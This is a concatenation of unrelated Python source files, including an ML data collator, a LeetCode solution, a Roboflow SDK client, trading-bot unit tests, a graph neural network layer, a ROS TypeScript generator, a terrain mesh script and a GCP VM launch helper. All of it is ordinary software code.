input_ids_query_and_neighbors_batch.append(input_ids_query_and_neighbors)
attention_mask_query_and_neighbors_batch.append(attention_mask_query_and_neighbors)
mask_query_and_neighbors_batch.append(mask_query_and_neighbors)
input_ids_key_and_neighbors_batch.append(input_ids_key_and_neighbors)
attention_mask_key_and_neighbors_batch.append(attention_mask_key_and_neighbors)
mask_key_and_neighbors_batch.append(mask_key_and_neighbors)
if self.mlm:
input_ids_query_and_neighbors_batch, mlm_labels_query_batch = self.mask_tokens(
self._tensorize_batch(input_ids_query_and_neighbors_batch, self.tokenizer.pad_token_id),
self.tokenizer.mask_token_id)
input_ids_key_and_neighbors_batch, mlm_labels_key_batch = self.mask_tokens(
self._tensorize_batch(input_ids_key_and_neighbors_batch, self.tokenizer.pad_token_id),
self.tokenizer.mask_token_id)
else:
input_ids_query_and_neighbors_batch = self._tensorize_batch(input_ids_query_and_neighbors_batch,
self.tokenizer.pad_token_id)
input_ids_key_and_neighbors_batch = self._tensorize_batch(input_ids_key_and_neighbors_batch,
self.tokenizer.pad_token_id)
attention_mask_query_and_neighbors_batch = self._tensorize_batch(attention_mask_query_and_neighbors_batch, 0)
attention_mask_key_and_neighbors_batch = self._tensorize_batch(attention_mask_key_and_neighbors_batch, 0)
mask_query_and_neighbors_batch = self._tensorize_batch(mask_query_and_neighbors_batch, 0)
mask_key_and_neighbors_batch = self._tensorize_batch(mask_key_and_neighbors_batch, 0)
return {
"input_ids_query_and_neighbors_batch": input_ids_query_and_neighbors_batch,
"attention_mask_query_and_neighbors_batch": attention_mask_query_and_neighbors_batch,
"mlm_labels_query_batch": mlm_labels_query_batch if self.mlm else None,
"mask_query_and_neighbors_batch": mask_query_and_neighbors_batch,
"input_ids_key_and_neighbors_batch": input_ids_key_and_neighbors_batch,
"attention_mask_key_and_neighbors_batch": attention_mask_key_and_neighbors_batch,
"mlm_labels_key_batch": mlm_labels_key_batch if self.mlm else None,
"mask_key_and_neighbors_batch": mask_key_and_neighbors_batch,
}
def _tensorize_batch(self, sequences: Union[List[torch.Tensor], List[List[torch.Tensor]]],
padding_value) -> torch.Tensor:
if len(sequences[0].size()) == 1:
max_len_1 = max([s.size(0) for s in sequences])
out_dims = (len(sequences), max_len_1)
out_tensor = sequences[0].new_full(out_dims, padding_value)
for i, tensor in enumerate(sequences):
length_1 = tensor.size(0)
out_tensor[i, :length_1] = tensor
return out_tensor
elif len(sequences[0].size()) == 2:
max_len_1 = max([s.size(0) for s in sequences])
max_len_2 = max([s.size(1) for s in sequences])
out_dims = (len(sequences), max_len_1, max_len_2)
out_tensor = sequences[0].new_full(out_dims, padding_value)
for i, tensor in enumerate(sequences):
length_1 = tensor.size(0)
length_2 = tensor.size(1)
out_tensor[i, :length_1, :length_2] = tensor
return out_tensor
else:
raise
def create_training_sample(self, sample: List[List[List[int]]]):
def process_node_and_neighbors(tokens_node_and_neighbors):
max_num_tokens = self.token_length - self.tokenizer.num_special_tokens_to_add(pair=False)
input_ids_node_and_neighbors, attention_mask_node_and_neighbors, mask_node_and_neighbors = [], [], []
for i, tokens in enumerate(tokens_node_and_neighbors):
if i > self.neighbor_num: break
input_ids_node_and_neighbors.append(
torch.tensor(self.tokenizer.build_inputs_with_special_tokens(tokens[:max_num_tokens])))
attention_mask_node_and_neighbors.append(torch.tensor([1] * len(input_ids_node_and_neighbors[-1])))
if len(tokens) == 0:
mask_node_and_neighbors.append(torch.tensor(0))
else:
mask_node_and_neighbors.append(torch.tensor(1))
input_ids_node_and_neighbors = self._tensorize_batch(input_ids_node_and_neighbors,
self.tokenizer.pad_token_id)
attention_mask_node_and_neighbors = self._tensorize_batch(attention_mask_node_and_neighbors, 0)
mask_node_and_neighbors = torch.stack(mask_node_and_neighbors)
return input_ids_node_and_neighbors, attention_mask_node_and_neighbors, mask_node_and_neighbors
tokens_query_and_neighbors, tokens_key_and_neighbors = sample
input_ids_query_and_neighbors, attention_mask_query_and_neighbors, mask_query_and_neighbors = process_node_and_neighbors(
tokens_query_and_neighbors)
input_ids_key_and_neighbors, attention_mask_key_and_neighbors, mask_key_and_neighbors = process_node_and_neighbors(
tokens_key_and_neighbors)
return input_ids_query_and_neighbors, attention_mask_query_and_neighbors, mask_query_and_neighbors, \
input_ids_key_and_neighbors, attention_mask_key_and_neighbors, mask_key_and_neighbors
def mask_tokens(self, inputs_origin: torch.Tensor, mask_id: int) -> Tuple[torch.Tensor, torch.Tensor]:
"""
Prepare masked tokens inputs/labels for masked language modeling.
"""
inputs = inputs_origin.clone()
labels = torch.zeros((inputs.shape[0], inputs.shape[2]), dtype=torch.long) - 100
for i in range(len(inputs_origin)):
input_origin = inputs_origin[i][0]
input = inputs[i][0]
mask_num, valid_length = 0, 0
start_indexes = []
for index, x in enumerate(input_origin):
if int(x) not in self.tokenizer.all_special_ids:
valid_length += 1
start_indexes.append(index)
labels[i][index] = -99
self.random_state.shuffle(start_indexes)
if valid_length > 0:
while mask_num / valid_length < self.mlm_probability:
start_index = start_indexes.pop()
span_length = 1e9
while span_length > 10: span_length = np.random.geometric(0.2)
for j in range(start_index, min(start_index + span_length, len(input_origin))):
if labels[i][j] != -99: continue
labels[i][j] = input_origin[j].clone()
rand = self.random_state.random()
if rand < 0.8:
input[j] = mask_id
elif rand < 0.9:
input[j] = self.random_state.randint(0, self.tokenizer.vocab_size - 1)
mask_num += 1
if mask_num / valid_length >= self.mlm_probability:
break
labels[i] = torch.masked_fill(labels[i], labels[i] < 0, -100)
return inputs, labels
@dataclass
class MultiProcessDataLoader:
dataset: IterableDataset
batch_size: int
collate_fn: Callable
local_rank: int
world_size: int
global_end: Any
blocking: bool = False
drop_last: bool = True
def _start(self):
self.local_end = False
self.aval_count = 0
self.outputs = Queue(10)
self.pool = ThreadPoolExecutor(1)
self.pool.submit(self._produce)
def _produce(self):
for batch in self._generate_batch():
self.outputs.put(batch)
self.aval_count += 1
self.pool.shutdown(wait=False)
raise
def _generate_batch(self):
batch = []
for i, sample in enumerate(self.dataset):
if i % self.world_size != self.local_rank: continue
batch.append(sample)
if len(batch) >= self.batch_size:
yield self.collate_fn(batch[:self.batch_size])
batch = batch[self.batch_size:]
else:
if len(batch) > 0 and not self.drop_last:
yield self.collate_fn(batch)
batch = []
self.local_end = True
def __iter__(self):
if self.blocking:
return self._generate_batch()
self._start()
return self
def __next__(self):
dist.barrier()
while self.aval_count == 0:
if self.local_end or self.global_end.value:
self.global_end.value = True
break
dist.barrier()
if self.global_end.value:
raise StopIteration
next_batch = self.outputs.get()
self.aval_count -= 1
return next_batch
@dataclass
class SingleProcessDataLoader:
dataset: IterableDataset
batch_size: int
collate_fn: Callable
blocking: bool = False
drop_last: bool = True
def _start(self):
self.local_end = False
self.aval_count = 0
self.outputs = Queue(10)
self.pool = ThreadPoolExecutor(1)
self.pool.submit(self._produce)
def _produce(self):
for batch in self._generate_batch():
self.outputs.put(batch)
self.aval_count += 1
self.pool.shutdown(wait=False)
raise
def _generate_batch(self):
batch = []
for i, sample in enumerate(self.dataset):
batch.append(sample)
if len(batch) >= self.batch_size:
yield self.collate_fn(batch[:self.batch_size])
batch = batch[self.batch_size:]
else:
if len(batch) > 0 and not self.drop_last:
yield self.collate_fn(batch)
batch = []
self.local_end = True
def __iter__(self):
if self.blocking:
return self._generate_batch()
self._start()
return self
def __next__(self):
while self.aval_count == 0:
if self.local_end: raise StopIteration
next_batch = self.outputs.get()
self.aval_count -= 1
return next_batch
|
491217
|
class Solution:
def repeatedSubstringPattern(self, s):
"""
:type s: str
:rtype: bool
"""
i, len1 = 2, len(s)
if len1 == 1: return False
if s == s[0] * len1: return True
while i * i < len1:
if len1 % i == 0:
flag = 1
for j in range(0, len1 - i, i):
if s[j: j + i] != s[j + i: j + i + i]:
flag = 0
break
if flag: return True
flag = 1
t = len1 // i
for j in range(0, len1 - t, t):
if s[j: j + t] != s[j + t: j + t + t]:
flag = 0
break
if flag: return True
i += 1
if i * i == len1:
flag = 1
for j in range(0, len1 - i, i):
if s[j: j + i] != s[j + i: j + i + i]:
flag = 0
break
if flag: return True
return False
# 最快做法：利用循环移位
# return s in (s + s)[1: -1]
|
491219
|
import json
import os
import time
import sys
import requests
from roboflow.core.workspace import Workspace
from roboflow.core.project import Project
from roboflow.config import *
def check_key(api_key, model, notebook):
if type(api_key) is not str:
raise RuntimeError(
"API Key is of Incorrect Type \n Expected Type: " + str(type("")) + "\n Input Type: " + str(type(api_key)))
if any(c for c in api_key if c.islower()): #check if any of the api key characters are lowercase
if api_key == 'coco-128-sample':
#passthrough for public download of COCO-128 for the time being
return "coco-128-sample"
else:
#validate key normally
response = requests.post(API_URL + "/?api_key=" + api_key)
r = response.json()
if "error" in r or response.status_code != 200:
raise RuntimeError(response.text)
else:
return r
else: #then you're using a dummy key
sys.stdout.write("upload and label your dataset, and get an API KEY here: " + APP_URL + "/?model=" + model + "&ref=" + notebook + "\n")
return "onboarding"
def auth(api_key):
r = check_key(api_key)
w = r['workspace']
return Roboflow(api_key, w)
class Roboflow():
def __init__(self, api_key="YOUR ROBOFLOW API KEY HERE", model_format="undefined", notebook="undefined"):
self.api_key = api_key
self.model_format = model_format
self.notebook = notebook
self.onboarding = False
self.auth()
def auth(self):
r = check_key(self.api_key, self.model_format, self.notebook)
if r == "onboarding":
self.onboarding = True
return self
elif r == "coco-128-sample":
self.universe = True
return self
else:
w = r['workspace']
self.current_workspace=w
return self
def workspace(self, the_workspace=None):
sys.stdout.write("\r" + "loading Roboflow workspace...")
sys.stdout.write("\n")
sys.stdout.flush()
if the_workspace is None:
the_workspace = self.current_workspace
if self.api_key == 'coco-128-sample':
return Workspace({}, self.api_key, the_workspace, self.model_format)
list_projects = requests.get(API_URL + "/" + the_workspace + '?api_key=' + self.api_key).json()
return Workspace(list_projects, self.api_key, the_workspace, self.model_format)
def project(self, project_name, the_workspace=None):
"""Function that takes in the name of the project and returns the project object
:param project_name api_key: project name
:param the_workspace workspace name
:return project object
"""
if the_workspace is None:
if "/" in project_name:
splitted_project = project_name.rsplit("/")
the_workspace, project_name = splitted_project[0], splitted_project[1]
else:
the_workspace = self.current_workspace
dataset_info = requests.get(API_URL + "/" + the_workspace + "/" + project_name + "?api_key=" + self.api_key)
# Throw error if dataset isn't valid/user doesn't have permissions to access the dataset
if dataset_info.status_code != 200:
raise RuntimeError(dataset_info.text)
dataset_info = dataset_info.json()['project']
return Project(self.api_key, dataset_info)
def __str__(self):
"""to string function
"""
json_value = {'api_key': self.api_key,
'workspace': self.workspace}
return json.dumps(json_value, indent=2)
|
491221
|
from datetime import datetime
from decimal import Decimal
from unittest import TestCase
from hummingbot.connector.exchange.ftx.ftx_in_flight_order import FtxInFlightOrder
from hummingbot.core.data_type.common import OrderType, TradeType
class FtxInFlightOrderTests(TestCase):
def setUp(self):
super().setUp()
self.base_token = "BTC"
self.quote_token = "USDT"
self.trading_pair = f"{self.base_token}-{self.quote_token}"
def test_creation_from_json(self):
order_info = {
"client_order_id": "OID1",
"exchange_order_id": "EOID1",
"trading_pair": self.trading_pair,
"order_type": OrderType.LIMIT.name,
"trade_type": TradeType.BUY.name,
"price": "1000",
"amount": "1",
"creation_timestamp": 1640001112.0,
"executed_amount_base": "0.5",
"executed_amount_quote": "500",
"fee_asset": "USDT",
"fee_paid": "5",
"last_state": "closed",
}
order = FtxInFlightOrder.from_json(order_info)
self.assertEqual(order_info["client_order_id"], order.client_order_id)
self.assertEqual(order_info["exchange_order_id"], order.exchange_order_id)
self.assertEqual(order_info["trading_pair"], order.trading_pair)
self.assertEqual(OrderType.LIMIT, order.order_type)
self.assertEqual(TradeType.BUY, order.trade_type)
self.assertEqual(Decimal(order_info["price"]), order.price)
self.assertEqual(Decimal(order_info["amount"]), order.amount)
self.assertEqual(1640001112.0, order.creation_timestamp)
self.assertEqual(order_info["last_state"], order.last_state)
self.assertEqual(Decimal(order_info["executed_amount_base"]), order.executed_amount_base)
self.assertEqual(Decimal(order_info["executed_amount_quote"]), order.executed_amount_quote)
self.assertEqual(Decimal(order_info["fee_paid"]), order.fee_paid)
self.assertEqual(order_info["fee_asset"], order.fee_asset)
self.assertEqual(order_info, order.to_json())
def test_fee_asset_is_based_on_order_type(self):
order = FtxInFlightOrder(
client_order_id="OID1",
exchange_order_id="38065410",
trading_pair=self.trading_pair,
order_type=OrderType.LIMIT,
trade_type=TradeType.BUY,
price=Decimal(10000),
amount=Decimal(1),
creation_timestamp=datetime.now().timestamp()
)
self.assertEqual(order.base_asset, order.fee_asset)
order = FtxInFlightOrder(
client_order_id="OID1",
exchange_order_id="38065410",
trading_pair=self.trading_pair,
order_type=OrderType.LIMIT_MAKER,
trade_type=TradeType.BUY,
price=Decimal(10000),
amount=Decimal(1),
creation_timestamp=datetime.now().timestamp()
)
self.assertEqual(order.base_asset, order.fee_asset)
order = FtxInFlightOrder(
client_order_id="OID1",
exchange_order_id="38065410",
trading_pair=self.trading_pair,
order_type=OrderType.MARKET,
trade_type=TradeType.BUY,
price=Decimal(10000),
amount=Decimal(1),
creation_timestamp=datetime.now().timestamp()
)
self.assertEqual(order.quote_asset, order.fee_asset)
def test_update_with_partial_trade_event(self):
order = FtxInFlightOrder(
client_order_id="OID1",
exchange_order_id="38065410",
trading_pair=self.trading_pair,
order_type=OrderType.LIMIT,
trade_type=TradeType.BUY,
price=Decimal(10000),
amount=Decimal(1),
creation_timestamp=datetime.now().timestamp()
)
trade_event_info = {
"fee": 10.0,
"feeRate": 0.0014,
"feeCurrency": "ETH",
"future": None,
"id": 7828307,
"liquidity": "taker",
"market": "BTC-USDT",
"orderId": 38065410,
"tradeId": 1,
"price": 10050.0,
"side": "buy",
"size": 0.1,
"time": "2019-05-07T16:40:58.358438+00:00",
"type": "order"
}
update_result = order.update_with_trade_update(trade_event_info)
self.assertTrue(update_result)
self.assertFalse(order.is_done)
self.assertEqual(Decimal(str(trade_event_info["size"])), order.executed_amount_base)
expected_executed_quote_amount = Decimal(str(trade_event_info["size"])) * Decimal(
str(trade_event_info["price"]))
self.assertEqual(expected_executed_quote_amount, order.executed_amount_quote)
self.assertEqual(Decimal(trade_event_info["fee"]), order.fee_paid)
self.assertEqual(trade_event_info["feeCurrency"], order.fee_asset)
def test_update_with_full_fill_trade_event(self):
order = FtxInFlightOrder(
client_order_id="OID1",
exchange_order_id="38065410",
trading_pair=self.trading_pair,
order_type=OrderType.LIMIT,
trade_type=TradeType.BUY,
price=Decimal(10000),
amount=Decimal(1),
creation_timestamp=datetime.now().timestamp()
)
trade_event_info = {
"fee": 10.0,
"feeRate": 0.0014,
"feeCurrency": "ETH",
"future": None,
"id": 7828307,
"liquidity": "taker",
"market": "BTC-USDT",
"orderId": 38065410,
"tradeId": 19129310,
"price": 10050.0,
"side": "buy",
"size": 0.1,
"time": "2019-05-07T16:40:58.358438+00:00",
"type": "order"
}
update_result = order.update_with_trade_update(trade_event_info)
self.assertTrue(update_result)
self.assertFalse(order.is_done)
self.assertEqual(Decimal(str(trade_event_info["size"])), order.executed_amount_base)
expected_executed_quote_amount = Decimal(str(trade_event_info["size"])) * Decimal(
str(trade_event_info["price"]))
self.assertEqual(expected_executed_quote_amount, order.executed_amount_quote)
self.assertEqual(Decimal(trade_event_info["fee"]), order.fee_paid)
self.assertEqual(trade_event_info["feeCurrency"], order.fee_asset)
complete_event_info = {
"fee": 50.0,
"feeRate": 0.0014,
"feeCurrency": "ETH",
"future": None,
"id": 7828307,
"liquidity": "taker",
"market": "BTC-USDT",
"orderId": 38065410,
"tradeId": 2,
"price": 10060.0,
"side": "buy",
"size": 0.9,
"time": "2019-05-07T16:40:58.358438+00:00",
"type": "order"
}
update_result = order.update_with_trade_update(complete_event_info)
self.assertTrue(update_result)
self.assertFalse(order.is_done)
self.assertEqual(order.amount, order.executed_amount_base)
expected_executed_quote_amount += Decimal(str(complete_event_info["size"])) * Decimal(
str(complete_event_info["price"]))
self.assertEqual(expected_executed_quote_amount, order.executed_amount_quote)
self.assertEqual(Decimal(trade_event_info["fee"]) + Decimal(complete_event_info["fee"]),
order.fee_paid)
self.assertEqual(complete_event_info["feeCurrency"], order.fee_asset)
def test_update_with_repeated_trade_id_is_ignored(self):
order = FtxInFlightOrder(
client_order_id="OID1",
exchange_order_id="38065410",
trading_pair=self.trading_pair,
order_type=OrderType.LIMIT,
trade_type=TradeType.BUY,
price=Decimal(10000),
amount=Decimal(1),
creation_timestamp=datetime.now().timestamp()
)
trade_event_info = {
"fee": 10.0,
"feeRate": 0.0014,
"feeCurrency": "ETH",
"future": None,
"id": 7828307,
"liquidity": "taker",
"market": "BTC-USDT",
"orderId": 38065410,
"tradeId": 1,
"price": 10050.0,
"side": "buy",
"size": 0.1,
"time": "2019-05-07T16:40:58.358438+00:00",
"type": "order"
}
update_result = order.update_with_trade_update(trade_event_info)
self.assertTrue(update_result)
self.assertFalse(order.is_done)
self.assertEqual(Decimal(str(trade_event_info["size"])), order.executed_amount_base)
expected_executed_quote_amount = Decimal(str(trade_event_info["size"])) * Decimal(
str(trade_event_info["price"]))
self.assertEqual(expected_executed_quote_amount, order.executed_amount_quote)
self.assertEqual(Decimal(trade_event_info["fee"]), order.fee_paid)
self.assertEqual(trade_event_info["feeCurrency"], order.fee_asset)
complete_event_info = {
"fee": 50.0,
"feeRate": 0.0014,
"feeCurrency": "ETH",
"future": None,
"id": 7828307,
"liquidity": "taker",
"market": "BTC-USDT",
"orderId": 38065410,
"tradeId": 1,
"price": 10060.0,
"side": "buy",
"size": 0.9,
"time": "2019-05-07T16:40:58.358438+00:00",
"type": "order"
}
update_result = order.update_with_trade_update(complete_event_info)
self.assertFalse(update_result)
self.assertFalse(order.is_done)
self.assertEqual(Decimal(str(trade_event_info["size"])), order.executed_amount_base)
self.assertEqual(expected_executed_quote_amount, order.executed_amount_quote)
self.assertEqual(Decimal(trade_event_info["fee"]), order.fee_paid)
self.assertEqual(trade_event_info["feeCurrency"], order.fee_asset)
|
491256
|
import math
import numpy as np
import dgl
import dgl.function as fn
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.nn.parameter import Parameter
from torch.nn.modules.module import Module
from typing import Callable
class GCNLayer(nn.Module):
def __init__(self, g:dgl.DGLGraph, in_feats:int, out_feats:int, activation:Callable[[torch.Tensor], torch.Tensor],
dropout:int, bias:bool=True):
super().__init__()
self.g = g
self.weight = nn.Parameter(torch.Tensor(in_feats, out_feats))
if bias:
self.bias = nn.Parameter(torch.Tensor(out_feats))
else:
self.bias = None
self.activation = activation
if dropout:
self.dropout = nn.Dropout(p=dropout)
else:
self.dropout = 0.
self.reset_parameters()
def reset_parameters(self):
stdv = 1. / math.sqrt(self.weight.size(1))
self.weight.data.uniform_(-stdv, stdv)
if self.bias is not None:
self.bias.data.uniform_(-stdv, stdv)
def forward(self, h):
if self.dropout:
h = self.dropout(h)
h = torch.mm(h, self.weight)
# normalization by square root of src degree
h = h * self.g.ndata['norm']
self.g.ndata['h'] = h
self.g.update_all(fn.copy_src(src='h', out='m'),
fn.sum(msg='m', out='h'))
h = self.g.ndata.pop('h')
# normalization by square root of dst degree
h = h * self.g.ndata['norm']
# bias
if self.bias is not None:
h = h + self.bias
if self.activation:
h = self.activation(h)
return h
class GCN(nn.Module):
def __init__(self, num_layers:int, g:dgl.DGLGraph, in_feats:int, hidden_feats:int,
out_feats:int, activation:Callable, dropout:int, bias=True):
super().__init__()
self.layers = nn.ModuleList()
self.layers.append(GCNLayer(g, in_feats, hidden_feats, activation, dropout))
for i in range(num_layers - 2):
self.layers.append(GCNLayer(g, hidden_feats, hidden_feats, activation, dropout))
self.layers.append(GCNLayer(g, hidden_feats, out_feats, None, 0.))
def set_graph(self, g):
for l in self.layers:
l.g = g
def forward(self, features):
h = features
for layer in self.layers:
h = layer(h)
return h
|
491268
|
import argparse
import sys
from copy import copy
from os import makedirs
from os.path import basename, dirname, exists
from os.path import join as joinp
from typing import List, Sequence
import jinja2
from jinja2 import Environment, FileSystemLoader
from ros_translator.library import Message, PostProcessors, RosLibrary, Service
template_loader = FileSystemLoader(searchpath=joinp(dirname(__file__), "templates"))
template_env = Environment(loader=template_loader)
template_env.trim_blocks = True
template_env.keep_trailing_newline = True
# These types does not need a 'new' keyword
PRIMITIVE_TYPES = {
"bool": "boolean",
"byte": "number",
"char": "number",
"float32": "number",
"float64": "number",
"int8": "number",
"int16": "number",
"int32": "number",
"int64": "number",
"string": "string",
"wstring": "string",
"uint8": "number",
"uint16": "number",
"uint32": "number",
"uint64": "number",
}
PRIMITIVE_JS_TYPES = [
"string",
"boolean",
"number",
]
PRIMITIVE_TYPES_DEFAULT_VALUES = {
"bool": "false",
"byte": "0",
"char": "0",
"float32": "0",
"float64": "0",
"int8": "0",
"int16": "0",
"int32": "0",
"int64": "0",
"string": "''",
"wstring": "''",
"uint8": "0",
"uint16": "0",
"uint32": "0",
"uint64": "0",
}
TYPED_ARRAY_TYPES = {
"char": "Uint8Array",
"byte": "Uint8Array",
"float32": "Float32Array",
"float64": "Float64Array",
"int8": "Int8Array",
"int16": "Int16Array",
"int32": "Int32Array",
"int64": "BigInt64Array",
"uint8": "Uint8Array",
"uint16": "Uint16Array",
"uint32": "Uint32Array",
"uint64": "BigUint64Array",
}
class JsType:
def __init__(self, ros_type):
self.type = None
self.base_type = None
self.is_primitive = False
self.is_typed_array = False
self.is_array = False
self.default_value = None
if hasattr(ros_type, "is_array") and ros_type.is_array:
self.type = TYPED_ARRAY_TYPES.get(ros_type.type)
self.default_value = "[]"
if self.type is None:
if ros_type.is_primitive_type():
self.type = f"{PRIMITIVE_TYPES[ros_type.type]}[]"
else:
self.type = f"{ros_type.type}[]"
self.is_array = True
ros_element_type = copy(ros_type)
ros_element_type.is_array = False
self.element_type = JsType(ros_element_type)
else:
self.is_typed_array = True
self.base_type = self.type[: len(self.type) - 2]
else:
self.type = PRIMITIVE_TYPES.get(ros_type.type)
if ros_type.is_primitive_type():
self.default_value = PRIMITIVE_TYPES_DEFAULT_VALUES[ros_type.type]
else:
self.default_value = f"new {ros_type.type}()"
if self.type is None:
self.type = ros_type.type
self.base_type = self.type
self.is_primitive = self.base_type in PRIMITIVE_JS_TYPES
def augment_message(msg: Message):
for f in msg.spec.fields:
f.js_type = JsType(f.type)
return msg
def generate_modules(pkgs: Sequence[str], dstdir: str):
roslib = RosLibrary(post_processors=PostProcessors(message=augment_message))
all_pkgs = roslib.get_all_dependent_packages(*pkgs)
all_pkg_index = [roslib.get_package_index(p) for p in all_pkgs]
all_messages: List[Message] = []
for p in all_pkg_index:
all_messages.extend((roslib.get_message(m) for m in p.messages))
all_services: List[Service] = []
for p in all_pkg_index:
all_services.extend((roslib.get_service(s) for s in p.services))
template = template_env.get_template("ts-definition.j2")
modules = []
for msg in all_messages:
if not isinstance(msg.spec, str):
base_type = msg.spec.base_type
pkg_name = base_type.pkg_name
output_fpath = joinp(
dstdir, pkg_name, msg.rel_dir, f"{msg.spec.base_type.type}.ts"
)
if not exists(dirname(output_fpath)):
makedirs(dirname(output_fpath))
print(f"Generating model {base_type}")
template.stream(msg=msg).dump(output_fpath)
modules.append(f"./{pkg_name}/{msg.rel_dir}/{base_type.type}")
template = template_env.get_template("srv-ts-definition.j2")
for srv in all_services:
if not isinstance(srv.spec, str):
output_fpath = joinp(
dstdir, srv.spec.pkg_name, srv.rel_dir, f"{srv.spec.srv_name}.ts"
)
if not exists(dirname(output_fpath)):
makedirs(dirname(output_fpath))
print(f"Generating model {srv.full_type}")
template.stream(srv=srv).dump(output_fpath)
modules.append(f"./{srv.spec.pkg_name}/{srv.rel_dir}/{srv.spec.srv_name}")
return modules
def generate_index(modules, dstdir):
template = template_env.get_template("index.j2")
output_fpath = joinp(dstdir, "index.ts")
template.stream(
modules=modules,
).dump(output_fpath)
def generate(pkgs: Sequence[str], outdir: str):
print("Generating typescript interfaces")
modules = generate_modules(pkgs, outdir)
print("Generating index")
generate_index(modules, outdir)
print("Successfully generated typings")
|
491274
|
import math
NUM_VERTS_X = 30
NUM_VERTS_Y = 30
totalVerts = NUM_VERTS_X * NUM_VERTS_Y
totalTriangles = 2 * (NUM_VERTS_X - 1) * (NUM_VERTS_Y - 1)
offset = -50.0
TRIANGLE_SIZE = 1.
waveheight = 0.1
gGroundVertices = [None] * totalVerts * 3
gGroundIndices = [None] * totalTriangles * 3
i = 0
for i in range(NUM_VERTS_X):
for j in range(NUM_VERTS_Y):
gGroundVertices[(i + j * NUM_VERTS_X) * 3 + 0] = (i - NUM_VERTS_X * 0.5) * TRIANGLE_SIZE
gGroundVertices[(i + j * NUM_VERTS_X) * 3 + 1] = (j - NUM_VERTS_Y * 0.5) * TRIANGLE_SIZE
gGroundVertices[(i + j * NUM_VERTS_X) * 3 +
2] = waveheight * math.sin(float(i)) * math.cos(float(j) + offset)
index = 0
for i in range(NUM_VERTS_X - 1):
for j in range(NUM_VERTS_Y - 1):
gGroundIndices[index] = 1 + j * NUM_VERTS_X + i
index += 1
gGroundIndices[index] = 1 + j * NUM_VERTS_X + i + 1
index += 1
gGroundIndices[index] = 1 + (j + 1) * NUM_VERTS_X + i + 1
index += 1
gGroundIndices[index] = 1 + j * NUM_VERTS_X + i
index += 1
gGroundIndices[index] = 1 + (j + 1) * NUM_VERTS_X + i + 1
index += 1
gGroundIndices[index] = 1 + (j + 1) * NUM_VERTS_X + i
index += 1
#print(gGroundVertices)
#print(gGroundIndices)
print("o Terrain")
for i in range(totalVerts):
print("v "),
print(gGroundVertices[i * 3 + 0]),
print(" "),
print(gGroundVertices[i * 3 + 1]),
print(" "),
print(gGroundVertices[i * 3 + 2])
for i in range(totalTriangles):
print("f "),
print(gGroundIndices[i * 3 + 0]),
print(" "),
print(gGroundIndices[i * 3 + 1]),
print(" "),
print(gGroundIndices[i * 3 + 2]),
print(" ")
|
491293
|
import os
import sys
from os.path import dirname, abspath
path = dirname(dirname(abspath(__file__)))
sys.path.append(path)
os.chdir(path)
|
491315
|
import os
import subprocess as sp
from dotmap import DotMap
from typing import Union, Tuple
from .startup_script_gcp import (
tmux_setup,
clone_gcp_bucket_dir,
install_venv,
install_additional_setup,
jax_gpu_build,
jax_tpu_build,
exec_python,
exec_bash,
sync_results_from_dir,
)
cores_to_machine_type = {
1: "n1-highcpu-2",
2: "n1-highcpu-4",
4: "n1-highcpu-8",
8: "n1-highcpu-16",
16: "n1-highcpu-32",
32: "n1-highcpu-64",
48: "n1-highcpu-96",
}
valid_gpu_types = [
"nvidia-tesla-p100",
"nvidia-tesla-v100",
"nvidia-tesla-t4",
"nvidia-tesla-p4",
"nvidia-tesla-k80",
]
base_gcp_args = dict(
{
"ZONE": "us-west1-a",
"ACCELERATOR_TYPE": None,
"ACCELERATOR_COUNT": 0,
"MACHINE_TYPE": "n2-highcpu-8",
"IMAGE_NAME": "c1-deeplearning-tf-2-4-cu110-v20210414-debian-10",
"IMAGE_PROJECT": "ml-images",
}
)
tpu_gcp_args = dict(
{
"ZONE": "europe-west4-a",
"ACCELERATOR_TYPE": "v3-8",
"RUNTIME_VERSION": "v2-alpha",
}
)
def gcp_get_submission_cmd(
vm_name: str, job_args: DotMap, startup_fname: str
) -> Tuple[list, dict]:
"""Construct gcloud VM instance creation cmd to execute via cmd line."""
if job_args["use_tpus"]:
job_gcp_args = tpu_gcp_args
else:
job_gcp_args = base_gcp_args
# job_gcp_args.MACHINE_TYPE = cores_to_machine_type[
# job_args.num_logical_cores]
if job_args["num_gpus"] > 0:
assert job_args["gpu_type"] in valid_gpu_types
job_gcp_args["ACCELERATOR_TYPE"] = job_args["gpu_type"]
job_gcp_args["ACCELERATOR_COUNT"] = job_args["num_gpus"]
if job_args["use_tpus"]:
# TPU VM Alpha gcloud create CMD
gcp_launch_cmd = [
"gcloud",
"alpha",
"compute",
"tpus",
"tpu-vm",
"create",
f"{vm_name}",
"--preemptible",
f"--zone={job_gcp_args['ZONE']}",
f"--accelerator-type={job_gcp_args['ACCELERATOR_TYPE']}",
f"--version={job_gcp_args['RUNTIME_VERSION']}",
f"--metadata-from-file=startup-script={startup_fname}",
"--no-user-output-enabled",
"--verbosity",
"error",
]
else:
# CPU VM gcloud create CMD w/o any GPU attached
gcp_launch_cmd = [
"gcloud",
"compute",
"instances",
"create",
f"{vm_name}",
"--preemptible",
f"--zone={job_gcp_args['ZONE']}",
f"--custom-cpu={2*job_args['num_logical_cores']}",
f"--custom-memory={4096 + 2048*job_args['num_logical_cores']}MB",
"--custom-vm-type=n1",
f"--image={job_gcp_args['IMAGE_NAME']}",
f"--image-project={job_gcp_args['IMAGE_PROJECT']}",
f"--metadata-from-file=startup-script={startup_fname}",
"--scopes=cloud-platform,storage-full",
"--boot-disk-size=128GB",
"--boot-disk-type=pd-standard",
"--no-user-output-enabled",
"--verbosity",
"error",
]
# Attach GPUs to Job if desired - make sure to install nvidia driver
if (
job_gcp_args["ACCELERATOR_COUNT"] > 0
and job_gcp_args["ACCELERATOR_TYPE"] is not None
):
gcp_launch_cmd += [
"--metadata=install-nvidia-driver=True"
"--maintenance-policy=TERMINATE",
f"--accelerator=type={job_gcp_args['ACCELERATOR_TYPE']},"
f"count={job_gcp_args['ACCELERATOR_COUNT']}",
]
return gcp_launch_cmd, job_gcp_args
def gcp_generate_startup_file(
remote_code_dir: str,
gcp_bucket_name: str,
job_filename: str,
experiment_dir: str,
startup_fname: str,
cmd_line_arguments: str,
extra_install_fname: Union[None, str],
use_tpus: bool = False,
use_cuda: bool = False,
) -> None:
"""Generate bash script template to launch at VM startup."""
# Build the start job execution script
# 1. Connecting to tmux via: gcloud compute ssh $VM -- /sudo_tmux_a.sh
# 2a. Launch venv & install dependencies from requirements.txt
# 2b. [OPTIONAL] Setup JAX TPU/GPU build
# 3. Separate tmux split for rsync of results to GCS bucket
startup_script_content = (
"#!/bin/bash"
